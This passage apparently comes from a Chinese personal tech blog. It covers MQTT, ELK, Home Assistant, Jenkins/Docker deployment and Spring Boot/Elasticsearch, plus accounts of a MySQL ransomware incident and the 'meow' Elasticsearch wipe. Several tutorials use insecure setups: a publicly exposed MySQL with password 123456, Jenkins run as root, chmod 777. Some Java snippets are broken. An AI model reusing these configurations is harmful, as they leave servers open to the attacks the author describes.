      {
        "name": "ohos.permission.GET_NETWORK_INFO"
      },
      {
        "name": "ohos.permission.INTERNET"
      },
      {
        "name": "ohos.permission.SET_NETWORK_INFO"
      },
      {
        "name": "ohos.permission.MANAGE_WIFI_CONNECTION"
      },
      {
        "name": "ohos.permission.SET_WIFI_INFO"
      },
      {
        "name": "ohos.permission.GET_WIFI_INFO"
      }
    ]
  }
}

最后写了个python的脚本用来发送mqtt消息，很简单就一行

import paho.mqtt.publish as publish
publish.single('HarmonyTest', '{"message":"BongShakalaka"}', hostname='xxx.xxx.xxx.xxx')

附：mqtt消息是要有mqtt服务器的，这个就自己搭或者买吧

应鸿蒙开发者论坛读者要求，这里贴上源码地址

github: https://github.com/baby7/MqttApplication

gitee(码云): https://gitee.com/baby7/MqttApplication

使用ELK容器对Nginx做热力图分析

七仔(Github) — Mon, 07 Jun 2021 04:53:56 GMT

使用ES、Logstash、Kibana、Filebeat四个容器对Nginx日志分析，生成展示用的热力图

使用ELK容器对Nginx做热力图分析

展示

一、总体流程

1.Filebeat获取Nginx的日志并推送给Logstash

2.Logstash对日志数据进行提取分析并利用插件根据ip生成经纬度信息，然后推送给ES

3.ES接收数据并保存

4.Kibana从ES获取数据做热力图

二、安装流程

一、Nginx的配置

转变Nginx的日志格式为JSON格式：

http {
    log_format json '{"@timestamp":"$time_iso8601",'
        '"host":"$server_addr",'
        '"clientip":"$remote_addr",'
        '"size":$body_bytes_sent,'
        '"responsetime":$request_time,'
        '"upstreamtime":$upstream_response_time,'
        '"upstreamhost":"$upstream_addr",'
        '"http_host":"$host",'
        '"url":"$uri",'
        '"xff":"$http_x_forwarded_for",'
        '"referer":"$http_referer",'
        '"agent":"$http_user_agent",'
        '"status":"$status"}';
    access_log  /var/log/nginx/access.log  json;
    ...
}

重启Nginx

二、Filebeat的安装

创建Filebeat配置(filebeat.yml)，记得转化为你自己的地址

filebeat.inputs:
- type: log
  enabled: true
  paths:
    - /access.log
output.logstash:
  hosts: ["***.***.***.***:5044"]

启动容器

docker run -it -d --name filebeat -v /***/access.log:/access.log -v /***/filebeat.yml:/usr/share/filebeat/filebeat.yml docker.elastic.co/beats/filebeat:7.7.1

三、Logstash的安装

创建Logtash配置(logstash_stdout.conf)

input {
    beats {
        port => 5044
        host => "0.0.0.0"
    }
}
filter {
    mutate {
        gsub => ["message", "\\x", "\\\x"]
        gsub => ["message", ":-,", ":0,"]
    }
    json {
        source => "message"
        remove_field => "message"
        remove_field => "[beat][hostname]"
        remove_field => "[beat][name]"
        remove_field => "[beat][version]"
        remove_field => "@version"
        remove_field => "offset"
        remove_field => "input_type"
        remove_field => "tags"
        remove_field => "type"
        remove_field => "host"
    }
    mutate {
        convert => ["status", "integer"]
        convert => ["size","integer"]
        convert => ["upstreamtime", "float"]
        convert => ["responsetime", "float"]
    }
    geoip {
        source => "clientip"
        database => "/***/GeoLite2-City.mmdb"
        fields => ["city_name", "country_code2", "country_name", "latitude", "longitude", "region_name"]
        add_field => [ "[geoip][location]", "%{[geoip][longitude]}" ]
        add_field => [ "[geoip][location]", "%{[geoip][latitude]}" ]
        target => "geoip"
    }
    mutate {
        convert => [ "[geoip][location]", "float" ]
    }
    if "_geoip_lookup_failure" in [tags] { drop { } }
}
output {
    elasticsearch {
        hosts => ["***.***.***.***:9200"]
        index => "logstash-nginx-blog"
    }
}

下载GeoLite2-City.mmdb

启动容器

docker run -it -d -p 5044:5044 --name logstash -v /***/:/usr/share/logstash/pipeline/ docker.elastic.co/logstash/logstash:7.7.1

四、ES的安装

创建ES配置(elasticsearch.yml)

cluster.name: "my-es"
network.host: 0.0.0.0
http.port: 9200

启动容器

docker run -it -d -p 9200:9200 -p 9300:9300 --name es -v /***/config/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml -v /***/data:/usr/share/elasticsearch/data -v /***/logs:/usr/share/elasticsearch/logs elasticsearch:7.7.1

五、Kibana的安装

创建Kibana配置(kibana.yml)

server.name: kibana
server.host: "0"
elasticsearch.hosts: ["http://***.***.***.***:9200"]
xpack.monitoring.ui.container.elasticsearch.enabled: true

启动容器

docker run -d --log-driver json-file --name kibana -p 5601:5601 -v /***/kibana.yml:/usr/share/kibana/config/kibana.yml kibana:7.7.1

六、制作热力图

未完待续...

基于GPSLogger和企业微信的自动化提醒打卡

七仔(Github) — Fri, 22 Jan 2021 03:09:59 GMT

基于GPSLogger和企业微信的自动化提醒打卡

因为总是忘记打卡，早晨还好说，有个定时就可以了，但是下午下班可能加班，定时就不好使了，定的多了还烦得很这次实现的基于GPSLogger记录位置，然后判断是否进入或离开公司，如果是，就发送消息到企业微信（手机微信也可以接收到）关于GPSLogger可以参见我的这篇帖子：使用GPSLogger记录位置关于发送企业微信可以参见大神的帖子：通过企业微信推送消息（暂时取代方糖）

然后需要在左侧列表[地图]里面添加一个公司的地点，地点的名字要记住，我这里填的是公司

下面展示了一个离开公司的自动化：首先是触发条件，这里的实体是我的GPSLogger发现的实体绑定的人，状态从[公司]变为not_home，这里的公司就是上面填的地点

然后是动作，就是向企业微信发送消息

这样就完成了自动化的进入/离开公司提醒打卡的功能

最后：可以在主页/仪表盘里添加地图卡片，选择gps的实体后可以显示路径哦

更新：由于有HomeAssistant官方app的安装需求，但是官方app的定位功能需要翻墙，比较麻烦，所以和GPSLogger两个应用同时装着，后来有大佬修改了源码，我的GPSLogger就卸载了这里贴一下大佬的帖子：官方app-高德地图sdk版-更新1.0.5解决耗电

给你的HomeAssistant添加个彩带特效

七仔(Github) — Fri, 22 Jan 2021 03:05:50 GMT

给你的HomeAssistant添加个彩带特效

闲来无事，前段时间看到了robbon.js这个特效然后页面滚动的时候有点问题，改了改，放到了cdn上，想着后面给博客用

后来发现配置->Lovelace仪表盘->资源这里可以添加Javascript模块，然后灵光大现把特效的地址输进去，然后就直接有效果了

给平淡的界面添加了点动态的元素

这里放上我的cdn地址：https://cdn.baby7blog.com/ribbon/ribbon.js

可以直接拿去用，如果担心安全问题也可以下载到本地使用

奇奇怪怪的插件之ha_chandao(禅道接入HomeAssistant)

七仔(Github) — Thu, 21 Jan 2021 03:26:26 GMT

奇奇怪怪的插件之ha_chandao(禅道接入HomeAssistant)

ha_chandao

禅道接入HomeAssistant，可以查看任务和Bug的数量

安装

将ha_chandao文件夹复制到custom_components/目录下重启hass

配置

sensor:
  - platform: ha_chandao
    name: '你的项目名'
    url: '禅道地址'
    username: '用户名'
    password: '密码'
    project_id: '项目id'

url : 禅道地址，例如https://www.test.com:1234 ，不需要加/zentao project_id : 项目id，在项目的任务界面，可以看到地址栏后面有个project-task-999.html这样的地址，取后面的数字即可

github地址：https://github.com/baby7/ha_chandao

自动化

配合自动化可以实现：有了任务/bug立即通过微信通知

关于博客数据库的数据被勒索和数据恢复

七仔(Github) — Mon, 26 Oct 2020 14:14:21 GMT

关于博客数据库的数据被勒索和数据恢复

事情开始

我在浏览博客时发现后几页点不进去，请求直接报500 没多想，直接搁DevCloud点了个流水线，重新构建重新部署，发现还是不行上服务器看Nacos，数据库好像出问题了，有点慌在本地用Navicat连接数据库连不上，上服务器看是好着的

找到问题

查了查数据库都是全的，但是除了数据库基本表其他都是WRINING，不知道什么情况 mysql用户表里面我之前为了省事直接用的root，甚至密码也是root（以后再也不犯了。。。） root用户的远程连接权限没了，成localhost了，我改成了开放远程连接用Navicat连接，发现数据库都在，但是业务数据库里面原先的表都没了每个数据库只有个WRINING表，我以为是数据库数据错误点击去发现事情并不简单，居然是个勒索病毒：您需要支付0.055比特币（BTC）才能恢复数据库：列出了我的数据库列表，然后给了个邮箱：如果您需要证明，请通过以下电子邮件与我们联系：database28@protonmail.com 算了算价格（当然交钱是不可能的）大概是四千多

处理过程

前段时间使用mysqldump进行过数据库备份，但是最新的几个都没有备份，不过我有在CMS端写完博客去博客端看的习惯，我的博客会将单个博客的请求存到redis（反正不多嘛，我就存到redis了）查了查缓存的列表，以前的博客我备份都有，最新的有三个在备份中没有，但是缓存中有，直接在网页F12取得博客数据合成sql添加到备份里接下来就简单了，使用sql进行数据库还原，然后修改数据库密码，修改博客的配置文件，重新构建重新部署

springboot集成Elasticsearch进行操作

七仔(Github) — Wed, 21 Oct 2020 13:06:17 GMT

springboot集成Elasticsearch进行操作

使用SpringBootStarterDataElasticsearch进行操作

Maven引入

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-elasticsearch</artifactId>
</dependency>

配置连接信息

spring:
    elasticsearch:
        rest:
            # 地址
            uris: http://*.*.*.*:host
            # 用户名
            username: *
            # 密码
            password: *

这里要说一下，9200/9300端口最好不要用，换成别的端口，然后用户名密码的限制一定要有，不然数据可能会被删除（详见另一篇博客：服务器被meow攻击，Elasticsearch数据被删除） x-pake在elasticsearch的7.0.0没有免费开放，7.3.1是默认有的，中间几个版本没有试过

实体类

import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.Accessors;
import org.springframework.data.annotation.Id;
import org.springframework.data.elasticsearch.annotations.Document;
import org.springframework.data.elasticsearch.annotations.Field;

import java.util.List;

@Data
@NoArgsConstructor
@Accessors(chain = true)
@Document(indexName = "test_index", shards = 1, replicas = 0)
public class PatientRecipeInfo {

    @Id
    private String id;

    @Field
    private Object content;

    @Field
    private Long time;
}

数据持久层

import org.springframework.data.elasticsearch.repository.ElasticsearchRepository;
public interface MyElasticRepository extends ElasticsearchRepository<DemoEntity, Long>  {
}

服务层

public interface ESYPRelateDealService {

    /**
     * 根据名称查询排序
     **/
    Page<DemoEntity> sort(String test, Integer page, Integer size);

    /**
     * 保存数据
     **/
    boolean save(DemoEntity demoEntity);
}

@Service
public class ESYPRelateDealServiceImpl implements ESYPRelateDealService {

    @Autowired
    private MyElasticRepository myElasticRepository;

    /**
     * 根据名称查询分页
     **/
    Page<DemoEntity> sort(String test, Integer page, Integer size){
        Sort sort = Sort.by(Sort.Order.desc(test))
        Pageable pageable = PageRequest.of(page, size, sort);
        Page<DemoEntity> page = myElasticRepository.findAll(pageable);
        return page;
    }

    /**
     * 保存数据
     **/
    boolean save(DemoEntity demoEntity){
        myElasticRepository.save(demoEntity);
    }
}

使用High Level Rest Client进行操作

引入Maven

<dependency>
	<groupId>org.elasticsearch.module</groupId>
	<artifactId>reindex</artifactId>
	<version>2.4.6</version>
</dependency>

配置连接信息

spring:
    elasticsearch:
        rest:
            # 地址
            uris: http://*.*.*.*:host
            # 用户名
            username: *
            # 密码
            password: *

引入配置信息

import lombok.Data;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Configuration;

@Data
@Configuration
public class ESProperties {

    @Value("${spring.elasticsearch.rest.uris}")
    private String uris;

    @Value("${spring.elasticsearch.rest.username}")
    private String username;

    @Value("${spring.elasticsearch.rest.password}")
    private String password;
}

服务层

import org.elasticsearch.client.RequestOptions;
import org.elasticsearch.client.RestClient;
import org.elasticsearch.client.RestHighLevelClient;
import org.elasticsearch.index.reindex.BulkByScrollResponse;
import org.elasticsearch.index.reindex.DeleteByQueryRequest;
import org.springframework.beans.factory.annotation.Autowired;

@Service
public class ESDealServiceImpl {
    @Autowired
    ESProperties esProperties;

    public RestHighLevelClient client;

    //ESHighLevel初始化
    @PostConstruct
    public void init() {
        final CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
        credentialsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(esProperties.getUsername(), esProperties.getPassword()));
        client = new RestHighLevelClient(
                RestClient
                .builder(HttpHost.create(esProperties.getUris()))
                .setHttpClientConfigCallback(httpClientBuilder -> {
                    httpClientBuilder.disableAuthCaching();
                    return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider);
            })
        );
    }

}

未完待续。。。

博客自动更新sitemap文件

七仔(Github) — Wed, 21 Oct 2020 12:48:19 GMT

博客自动更新sitemap文件

流程

我的博客之前的sitemap文件都是手动更新的，太麻烦了，现在改为定时更新，思路是使用python读取博客的文章信息并生成sitemap文件，然后使用华为DevCloud定时去执行

生成的文件有两个，一个是sitemap.xml，还有个是google看的是sitemap-google.xml

python代码:

# -*- coding:utf-8 -*-
import requests
import datetime
import json
import re


# 域名
domain_name = "https://www.baby7blog.com"
# 项目路径
project_path = "/usr/share/nginx/blog-ui/"
# sitemap header格式
baidu_header = '<?xml version="1.0" encoding="utf-8"?>
<urlset>
'
google_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
'
# sitemap datetime格式
baidu_datetime = '%Y-%m-%d'
google_datetime = '%Y-%m-%dT%H:%M:%S+00:00'
# 基本链接xml格式
item_url = '''
  <url>
    <loc>%s</loc>
    <lastmod>%s</lastmod>
    <changefreq>daily</changefreq>
    <priority>1.0</priority>
  </url>

'''


# 获取博客列表
def get_blog_list():
    first_blog_list = [domain_name]
    url = domain_name + '/blog/blog/page?current=1&size=99999'
    response = requests.get(url=url)
    blog_item_list = json.loads(response.text)['data']['records']
    for blog in blog_item_list:
        first_blog_list.append(domain_name + '/myBlog/' + str(blog['id']) + '.html')
    return first_blog_list


# 获取博客菜单列表
def get_blog_menu_list():
    second_blog_list = []
    blog_menu_list = [
        {"id": "1100", "title": "前端技术"},
        {"id": "1101", "title": "后端技术"},
        {"id": "1103", "title": "人工智能"},
        {"id": "1104", "title": "爬虫相关"},
        {"id": "1107", "title": "桌面技术"},
        {"id": "1108", "title": "硬件相关"},
        {"id": "1109", "title": "分享"},
        {"id": "1113", "title": "服务器相关"}
    ]
    for blog in blog_menu_list:
        second_blog_list.append(
            domain_name + '/list?id=[1,1000,' + str(blog['id']) + ']&type=menu&title=' + str(blog['title']))
    second_blog_list.append(domain_name + '/list?id=[1,1114]&type=menu&title=魔镜')
    return second_blog_list


# 获取博客标签列表
def get_blog_label_list():
    third_blog_list = []
    url = domain_name + '/blog/label/page?current=1&size=99999'
    response = requests.get(url=url)
    blog_label_list = json.loads(response.text)['data']['records']
    for blog in blog_label_list:
        third_blog_list.append(domain_name + '/list?id=' + str(blog['id']) + '&type=label&title=' + str(blog['label']))
    return third_blog_list


# 生成sitemap文件
def create_sitemap(url_list):
    baidu_word_text = baidu_header
    google_word_text = google_header
    for url in url_list:
        baidu_times = datetime.datetime.now().strftime(baidu_datetime)
        google_times = datetime.datetime.now().strftime(google_datetime)
        urls = re.sub(r"&", "&amp;", url)
        baidu_word_text += item_url % (urls, baidu_times)
        google_word_text += item_url % (urls, google_times)
    baidu_word_text += "</urlset>"
    google_word_text += "</urlset>"
    file = open(project_path + "sitemap.xml", 'w', encoding='utf-8')
    file.writelines(baidu_word_text)
    file.close()
    file = open(project_path + "sitemap-google.xml", 'w', encoding='utf-8')
    file.writelines(google_word_text)
    file.close()


if __name__ == '__main__':
    blog_list = get_blog_list()
    blog_list += get_blog_menu_list()
    blog_list += get_blog_label_list()
    create_sitemap(blog_list)

服务器被meow攻击，Elasticsearch数据被删除

七仔(Github) — Tue, 13 Oct 2020 21:51:28 GMT

服务器被meow攻击，Elasticsearch数据被删除

记录一下

Elasticsearch这几个月的测试数据被删除，通过http://***/_cat/indices?v查看索引列表发现之前的数据均被删除，多出来了很多以-meow结尾的数据

以此为关键词在google找到了有同样遭遇的博主@CoderBaby，他找到了数据被删除的原因：Elasticsearch开放远程9200端口并且没有安全认证，meow应该是会下载你的数据转移到自己那里，然后删除你的索引，让你去付钱获取之前的数据（跟勒索病毒一样的套路），国外一个安全小哥twitter账号有挺多后续：Bob Diachenko（好多被攻击的，很多数据被曝出来）

详细可以去看这个博主写的这篇博客：Meow攻击删除不安全的Elasticsearch索引，建一堆以Meow结尾的奇奇怪怪的索引

另：这个meow通过ProtonVPN等VPN进行操作，ProtonVPN表示将调查并封禁相关账户（好像没有什么用）

【Jenkins&Docker部署系列】四、Vue的构建和部署(Nginx)

七仔(Github) — Sat, 03 Oct 2020 03:11:22 GMT

【Jenkins&Docker部署系列】四、Vue的构建和部署(Nginx)

1.新建选择【构建一个自由风格的软件项目】 2.构建-执行shell命令

npm install
npm run build

3.构建-执行shell命令

cd /home/test-ui
BUILD_ID=dontKillMe sh backup.sh

4.构建-执行shell命令

cd /home/jiap-ui \
 && cp -r /var/lib/jenkins/workspace/test-ui/dist/ . \
 && docker stop vuenginxapp || true \
 && docker rm vuenginxapp || true \
 && docker build  -t vuenginxapp  . \
 && docker run -d -p 8091:80 --name vuenginxapp -v /home/jiap-ui/dist:/usr/share/nginx/html -v /home/test-ui/nginx.conf:/etc/nginx/nginx.conf vuenginxapp

这里贴一下backup.sh的内容

# 备份
BASE_PATH=/home/test-ui
new_backup_file=dist-$(date +%Y%m%d-%H%M%S)
cd $BASE_PATH/backup
mkdir -p $new_backup_file && cd $_
cp -r $BASE_PATH/dist/ .
rm -r $BASE_PATH/dist/

还有Dockerfile内容

FROM nginx:1.8.1
EXPOSE 80

最后是nginx.conf的内容

user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    gzip  on;
    gzip_types text/plain application/javascript text/css;

    # 虚拟主机server块
    server {
        # 端口
        listen   80;
        # 匹配请求中的host值
        server_name  localhost;

        # 监听请求路径
        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }

        #error_page  404              /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }

    }

    include /etc/nginx/conf.d/*.conf;
}

【Jenkins&Docker部署系列】三、SpringBoot的构建的和部署

七仔(Github) — Sat, 03 Oct 2020 03:10:52 GMT

【Jenkins&Docker部署系列】三、SpringBoot的构建的和部署

1.新建选择【构建一个Maven项目】 2.Build的Root POM为

pom.xml

Goals and options为

-DskipTests=true clean package

3.Post Steps为

cd /home/cdss-server
BUILD_ID=dontKillMe sh docker.sh

这里贴一下docker.sh的代码：

BASE_PATH=/home/test-server
# 源jar路径  即jenkins构建后存放的路径（）
SOURCE_PATH=/var/lib/jenkins/workspace
#docker 镜像/容器名字或者jar名字 这里都命名为这个
SERVER_NAME=test-server
#容器id
CID=$(docker ps | grep "$SERVER_NAME" | awk '{print $1}')
#镜像id
IID=$(docker images | grep "$SERVER_NAME" | awk '{print $3}')

echo "最新构建代码 $SOURCE_PATH/$SERVER_NAME/target/test-server.jar 迁移至 $BASE_PATH ...."
#把项目从jenkins构建后的目录移动到我们的项目目录下同时重命名下
mv -f $SOURCE_PATH/$SERVER_NAME/target/test-server.jar $BASE_PATH/test-server.jar
# 备份
datename=$(date +%Y%m%d-%H%M%S)
cp $BASE_PATH/test-server.jar $BASE_PATH/backup/test-server-$datename.jar
#修改文件的权限
chmod 777 /home/test-server/test-server.jar
echo "迁移完成"


# 构建docker镜像
        if [ -n "$IID" ]; then
                echo "存在$SERVER_NAME镜像，IID=$IID"
        else
                echo "不存在$SERVER_NAME镜像，开始构建镜像"
                        cd $BASE_PATH
                docker build -t $SERVER_NAME .
        fi
# 停止docker容器
docker stop $SERVER_NAME
# 删除docker容器
docker rm $SERVER_NAME
# --name docker-test                 容器的名字为docker-test
#   -d                                 容器后台运行
#   -p 3636:3636                       指定容器映射的端口和主机对应的端口都为3636
#   -v /home/test-server/:/home/test-server/   将主机的/home/test-server/目录挂载到容器的/home/test-server/ 目录中（不可少每次本地更新jar包重启容器即可，不用重新构建镜像
docker run --name $SERVER_NAME -v $BASE_PATH:$BASE_PATH -d -p 8090:8090  -e "SPRING_PROFILES_ACTIVE=test" $SERVER_NAME
echo "$SERVER_NAME容器创建完成"

注意一下， -e "SPRING_PROFILES_ACTIVE=test"是用来选择环境的这里贴一下Dockerfile的内容

FROM openjdk:11.0.4
WORKDIR /home/cdss-server
EXPOSE 8090
ENTRYPOINT ["java","-jar","test-server.jar","-c"]

【Jenkins&Docker部署系列】二、数据库Docker的安装(Mysql、Redis)

七仔(Github) — Sat, 03 Oct 2020 03:10:22 GMT

【Jenkins&Docker部署系列】二、数据库Docker的安装(Mysql、Redis)

MySQL Docker

首先拉取MySQL镜像：

docker pull mysql

然后查看镜像是否安装成功：

docker images

然后直接运行：

docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql

密码是123456，端口均为3306

Redis Docker

首先拉取Redis镜像：

docker pull redis

然后依旧查看镜像是否安装：

docker images

然后就可以直接运行啦：

docker run -p 6380:6379 -d redis:latest redis-server

这里-p开启映射，6380:6379的6380是对外的端口，6379是容器内部端口，因为我的6379被占用，一般来说外部还是开启6379

【Jenkins&Docker构建部署系列】一、环境安装

七仔(Github) — Sat, 03 Oct 2020 03:09:33 GMT

【Jenkins&Docker构建部署系列】一、环境安装

环境

系统：CenOS6 内存：4G

JDK的安装(或交由Jenkins安装)

我这里是安装的JDK11

sudo yum -y install java-11-openjdk-devel

Maven的安装(或交由Jenkins安装)

我在/home新建了maven文件夹放置maven，只需要解压，不需要配置环境变量

cd /home/maven/
wget http://mirrors.hust.edu.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz
tar vxf apache-maven-3.5.4-bin.tar.gz

Git的安装(或交由Jenkins安装)

yum install git

Jenkins的安装

主体安装

sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key
yum install jenkins

配置和启动Jenkins

使用vim修改/etc/sysconfig/jenkins，配置权限为root

$JENKINS_USER="root"

修改目录权限

chown -R root:root /var/lib/jenkins
chown -R root:root /var/cache/jenkins
chown -R root:root /var/log/jenkins

重新启动jenkins

service jenkins restart
//或者service jenkins start

使用浏览器访问jenkins【http://localhost:8080】,服务器的话localhost可以替换成你的公网ip 然后会看见让你填写密码，使用cat查看密码

cat /var/lib/jenkins/secrets/initialAdminPassword

填写密码后继续，选择推荐的安装方式，等待安装安装完成后创建管理员用户，成功进入Jenkins

配置构建部署需要的插件和配置

在系统管理->插件管理->可选插件中安装Maven Integration plugin插件在系统管理->全局工具配置->JDK中Name随便取一个，【JAVA_HOME】填【/usr/local/java/jdk-11.0.8】在系统管理->全局工具配置->Git中Name随便取一个，【Path to Git executable】填【/usr/bin/git】在系统管理->全局工具配置->Maven中Name随便取一个，【MAVEN_HOME】填【/home/maven/apache-maven-3.5.4】

Docker的安装

yum install https://get.docker.com/rpm/1.7.1/centos-6/RPMS/x86_64/docker-engine-1.7.1-1.el6.x86_64.rpm
service docker start

【“魔镜”系列】MQTT发送与接收

七仔(Github) — Wed, 23 Sep 2020 04:49:23 GMT

【“魔镜”系列】MQTT发送与接收

发送

这里用的是python进行发送，代码很简单，如下：

import paho.mqtt.publish as publish

# 发送mqtt消息到服务器
def send_mqtt(message):
    publish.single(settings.TOPIC, message, hostname=settings.HOSTNAME,
                   auth={'username': settings.USERNAME, 'password': settings.PASSWORD})
    print("send message success" + message)

接收

接收使用Java进行接收（暂时先这样写，后面有时间再完善） InitMQTT:

import com.pig4cloud.pigx.statis.config.MqttConfig;
import com.pig4cloud.pigx.statis.task.MqttTask;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;

@Component
@Slf4j
@Order(2)
public class InitMQTT implements ApplicationRunner {

    @Autowired
    private MqttTask mqttTask;

    @Override
    public void run(ApplicationArguments var1) {
        log.info("初始化MQTT监听");
        log.info("初始化环境MQTT监听");
        mqttTask.runMQTT(MqttConfig.MQTT_TOPIC, MqttConfig.MQTT_USER_NAME, MqttConfig.MQTT_PASSWORD, MqttConfig.MQTT_CLIENT_ID);
    }
}

MqttTask:

import com.pig4cloud.pigx.statis.api.entity.Sensor;
import com.pig4cloud.pigx.statis.mqtt.ReceiveMessage;
import com.pig4cloud.pigx.statis.service.SensorService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Async;
import org.springframework.stereotype.Component;

/**
 * 线程任务
 */
@Component
@Slf4j
public class MqttTask {
    @Autowired
    private ReceiveMessage receiveMessage;

    @Autowired
    private SensorService sensorService;

    @Async
    public void runMQTT(String topic,String userName,String password, String clientId) {
        try {
            log.info("开始连接EMQ:{}",topic);
            receiveMessage.start(topic, userName,password,clientId);
        }catch (Exception e){
            log.error("连接MQTT异常：{}",e.getMessage());
        }
    }

    @Async
    public void save(Sensor sensor){
    	sensorService.save(sensor);
    }
}

ReceiveMessage:

import com.pig4cloud.pigx.statis.config.MqttConfig;
import lombok.extern.slf4j.Slf4j;
import org.eclipse.paho.client.mqttv3.MqttClient;
import org.eclipse.paho.client.mqttv3.MqttConnectOptions;
import org.eclipse.paho.client.mqttv3.MqttException;
import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
import org.springframework.stereotype.Component;

@Component
@Slf4j
public class ReceiveMessage {

    private static MqttClient sensorClient;         //环境

    public MqttClient getSensorClient(){return sensorClient;}

    private MqttClient connect(String host, String userName, String password, String clientId) throws MqttException {
        MemoryPersistence persistence = new MemoryPersistence();
        MqttConnectOptions options = new MqttConnectOptions();
        options.setCleanSession(false);
        options.setUserName(userName);
        options.setPassword(password.toCharArray());
        options.setKeepAliveInterval(20);
        options.setConnectionTimeout(10);
		//设置环境回调
		sensorClient = new MqttClient(host, clientId, persistence);
		sensorClient.setCallback(new PushSensorCallback());
		sensorClient.connect(options);
		return sensorClient;
    }

    public void receive(MqttClient client, String topic) throws MqttException {
        int[] Qos = {MqttConfig.QOS};
        String[] topics = {topic};
        client.subscribe(topics, Qos);
    }

    public void start(String topic, String userName, String password, String clientId) throws MqttException {
        MqttClient client = connect(MqttConfig.MQTT_HOST, userName, password, clientId);
        if (client != null) {
            receive(client, topic);
        }
        log.info("连接EMQ:{}成功", MqttConfig.MQTT_HOST);
    }
}

PushSensorCallback:

import com.alibaba.fastjson.JSON;
import com.pig4cloud.pigx.statis.api.entity.Sensor;
import com.pig4cloud.pigx.statis.config.MqttConfig;
import com.pig4cloud.pigx.statis.service.SensorService;
import com.pig4cloud.pigx.statis.task.MqttTask;
import com.pig4cloud.pigx.statis.util.SpringUtils;
import lombok.extern.slf4j.Slf4j;
import org.eclipse.paho.client.mqttv3.IMqttDeliveryToken;
import org.eclipse.paho.client.mqttv3.MqttCallback;
import org.eclipse.paho.client.mqttv3.MqttMessage;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

import java.util.Date;
import java.util.UUID;

/**
 * 环境接收消息
 */
@Component
@Slf4j
public class PushSensorCallback implements MqttCallback {

    @Override
    public void connectionLost(Throwable throwable) {
        /**
         * 连接丢失后，一般在这里面进行重连
         */
        System.out.println("环境MQTT连接断开，开始重连");
       try{
           log.info("重连环境MQTT");
           MqttTask mqttTask = SpringUtils.getBean("mqttTask", MqttTask.class);
           mqttTask.runMQTT(MqttConfig.MQTT_TOPIC, MqttConfig.MQTT_USER_NAME, MqttConfig.MQTT_PASSWORD, MqttConfig.MQTT_CLIENT_ID);
       }catch (Exception e){
           log.error("重连环境MQTT异常：{}",e.getMessage());
           log.info("继续重连环境MQTT");
           connectionLost(throwable);
       }
    }

    @Override
    public void messageArrived(String topic, MqttMessage message) throws Exception {
        try {
        	String msg = new String(message.getPayload());
            log.info("接收环境MQTT消息：{}", msg);
			Sensor sensor = JSON.parseObject(msg, Sensor.class);
			sensor.setId(UUID.randomUUID().toString());
			sensor.setCreateTime(new Date().getTime());
			MqttTask mqttTask = SpringUtils.getBean("mqttTask", MqttTask.class);
			mqttTask.save(sensor);
			System.out.println(sensor.toString());
		}catch (Exception e){
            log.error("接收环境MQTT消息异常:{}",e.toString());
        }
    }

    @Override
    public void deliveryComplete(IMqttDeliveryToken token) {
        System.out.println("deliveryComplete---------" + token.isComplete());
    }
}

SpringBoot使用切面实现日志记录

七仔(Github) — Wed, 23 Sep 2020 04:13:56 GMT

SpringBoot使用切面实现日志记录

首先是自定义日志记录注解

import java.lang.annotation.*;

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface MyLog {
    String value() default "";
}

然后是实现类

import com.alibaba.fastjson.JSON;
import com.example.entity.SysLog;
import com.example.service.SysLogService;
import com.example.utils.HttpContextUtils;
import com.example.utils.IPUtils;
import com.example.utils.ShiroUtils;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.annotation.AfterReturning;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Pointcut;
import org.aspectj.lang.reflect.MethodSignature;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Method;
import java.util.Date;

/**
 * 系统日志：切面处理类
 */
@Aspect
@Component
public class SysLogAspect {

    @Autowired
    private SysLogService sysLogService;

    //定义切点 @Pointcut
    //在注解的位置切入代码
    @Pointcut("@annotation( com.example.aspect.MyLog)")
    public void logPoinCut() {
    }

    //切面 配置通知
    @AfterReturning("logPoinCut()")
    public void saveSysLog(JoinPoint joinPoint) {
        System.out.println("切面。。。。。");
        //保存日志
        SysLog sysLog = new SysLog();

        //从切面织入点处通过反射机制获取织入点处的方法
        MethodSignature signature = (MethodSignature) joinPoint.getSignature();
        //获取切入点所在的方法
        Method method = signature.getMethod();

        //获取操作
        MyLog myLog = method.getAnnotation(MyLog.class);
